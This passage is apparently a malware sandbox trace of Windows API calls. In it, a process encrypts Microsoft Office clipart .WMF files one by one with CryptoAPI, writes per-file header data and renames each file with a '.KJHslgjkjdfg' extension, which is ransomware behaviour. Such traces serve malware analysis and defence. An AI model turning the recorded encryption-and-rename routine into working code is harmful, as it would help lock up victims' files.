lpNumberOfBytesRead=0x290f27c*=0x1264, lpOverlapped=0x0) returned 1 [0190.623] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1270, dwBufLen=0x1270 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1270) returned 1 [0190.623] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.623] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1270, lpOverlapped=0x0) returned 1 [0190.624] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.624] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.624] SetEndOfFile (hFile=0x114) returned 1 [0190.627] GetProcessHeap () returned 0x2a0000 [0190.627] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.627] GetProcessHeap () returned 0x2a0000 [0190.627] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.627] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00942_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00942_.wmf.kjhslgjkjdfg")) returned 1 [0190.629] CloseHandle (hObject=0x114) returned 1 [0190.629] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d84, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00943_.WMF", cAlternateFileName="")) returned 1 [0190.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.631] GetProcessHeap () returned 0x2a0000 [0190.631] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.632] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.632] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.632] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0190.634] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.634] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.634] GetProcessHeap () returned 0x2a0000 [0190.634] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.634] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.634] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.634] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.635] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.635] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.635] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.635] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.635] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.635] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.635] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.635] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.635] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d84, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1d84, lpOverlapped=0x0) returned 1 [0190.636] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d90, dwBufLen=0x1d90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d90) returned 1 [0190.636] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.636] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1d90, lpOverlapped=0x0) returned 1 [0190.637] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.637] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.637] SetEndOfFile (hFile=0x114) returned 1 [0190.639] GetProcessHeap () returned 0x2a0000 [0190.639] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.639] GetProcessHeap () returned 0x2a0000 [0190.639] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.639] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00943_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00943_.wmf.kjhslgjkjdfg")) returned 1 [0190.641] CloseHandle (hObject=0x114) returned 1 [0190.641] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5505900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5505900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0xae1a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01044_.WMF", cAlternateFileName="")) returned 1 [0190.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.642] GetProcessHeap () returned 0x2a0000 [0190.643] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.643] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.643] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.643] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0190.645] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.645] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.645] GetProcessHeap () returned 0x2a0000 [0190.645] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.645] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.645] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.645] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.645] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.645] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.645] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.645] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.645] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.646] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.646] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.646] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.646] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xae1a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xae1a, lpOverlapped=0x0) returned 1 [0190.647] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xae20, dwBufLen=0xae20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xae20) returned 1 [0190.647] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.648] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xae20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xae20, lpOverlapped=0x0) returned 1 [0190.648] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.648] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xaef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.648] SetEndOfFile (hFile=0x114) returned 1 [0190.651] GetProcessHeap () returned 0x2a0000 [0190.651] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.651] GetProcessHeap () returned 0x2a0000 [0190.651] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.651] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01044_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01044_.wmf.kjhslgjkjdfg")) returned 1 [0190.652] CloseHandle (hObject=0x114) returned 1 [0190.653] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98336a00, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98336a00, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x5b38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01063_.WMF", cAlternateFileName="")) returned 1 [0190.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.654] GetProcessHeap () returned 0x2a0000 [0190.654] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.654] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.654] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.654] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.657] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.657] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.657] GetProcessHeap () returned 0x2a0000 [0190.657] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.657] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.657] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.657] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.657] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.657] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.657] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.657] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.657] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.658] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.658] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.658] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5b38, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5b38, lpOverlapped=0x0) returned 1 [0190.659] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b40, dwBufLen=0x5b40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5b40) returned 1 [0190.659] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.659] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5b40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5b40, lpOverlapped=0x0) returned 1 [0190.660] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.660] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.660] SetEndOfFile (hFile=0x114) returned 1 [0190.662] GetProcessHeap () returned 0x2a0000 [0190.662] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.662] GetProcessHeap () returned 0x2a0000 [0190.662] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.662] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf.kjhslgjkjdfg")) returned 1 [0190.664] CloseHandle (hObject=0x114) returned 1 [0190.664] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1075e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01236_.WMF", cAlternateFileName="")) returned 1 [0190.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.667] GetProcessHeap () returned 0x2a0000 [0190.667] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.667] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.667] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.667] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0190.669] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.669] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.669] GetProcessHeap () returned 0x2a0000 [0190.669] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.669] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.669] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.669] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.670] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.670] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.670] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.670] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.670] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.670] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.670] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.670] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.670] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1075e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1075e, lpOverlapped=0x0) returned 1 [0190.672] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10760, dwBufLen=0x10760 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10760) returned 1 [0190.673] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.673] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10760, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x10760, lpOverlapped=0x0) returned 1 [0190.673] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.673] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.673] SetEndOfFile (hFile=0x114) returned 1 [0190.676] GetProcessHeap () returned 0x2a0000 [0190.676] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.676] GetProcessHeap () returned 0x2a0000 [0190.676] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.677] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft 